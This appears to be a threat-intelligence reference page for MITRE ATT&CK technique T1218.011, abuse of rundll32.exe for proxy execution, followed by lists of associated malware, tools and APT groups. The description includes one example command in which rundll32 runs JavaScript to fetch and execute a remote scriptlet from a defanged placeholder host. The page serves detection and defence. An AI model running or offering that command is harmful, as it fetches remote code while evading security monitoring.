# TTP Detail – T1218.011

## TTP Information

Name: Rundll32

Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control\_RunDLL</code> and <code>Control\_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).

Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

## Threat-Mapped Scoring

Score: 0.0

Priority: Unclassified

## Kill Chain Phases

**•** mitre-attack: defense-evasion

## Malware

* ADVSTORESHELL
* Attor
* BLINDINGCAN
* Backdoor.Oldrea
* Bad Rabbit
* Bisonal
* BoomBox
* Briba
* Bumblebee
* CORESHELL
* Cobalt Strike
* Comnie
* CozyCar
* DDKONG
* DEADEYE
* EVILNUM
* Egregor
* Elise
* Emissary
* EnvyScout
* FELIXROOT
* FatDuke
* Flame
* FlawedAmmyy
* FunnyDream
* GreyEnergy
* HermeticWizard
* Heyoka Backdoor
* IcedID
* InvisiMole
* JHUHUGIT
* KONNI
* Kapeka
* Kwampirs
* Latrodectus
* Matryoshka
* MegaCortex
* Mispadu
* Mongall
* Mosquito
* NOKKI
* NativeZone
* Ninja
* NotPetya
* PUNCHBUGGY
* PolyglotDuke
* PowerDuke
* Prikormka
* Pteranodon
* QakBot
* RTM
* Ragnar Locker
* Raspberry Robin
* SDBbot
* SUNBURST
* SVCReady
* Sakula
* ServHelper
* Sibot
* Squirrelwaffle
* StreamEx
* StrelaStealer
* Troll Stealer
* USBferry
* Winnti for Windows
* ZxShell
* gh0st RAT

## Tools

* Koadic
* PcShare

## APTs (Intrusion Sets)

* APT19
* APT28
* APT3
* APT32
* APT38
* APT41
* Aquatic Panda
* Blue Mockingbird
* Carbanak
* CopyKittens
* Daggerfly
* FIN7
* Gamaredon Group
* HAFNIUM
* Kimsuky
* Lazarus Group
* LazyScripter
* Magic Hound
* MuddyWater
* RedCurl
* Sandworm Team
* TA505
* TA551
* Wizard Spider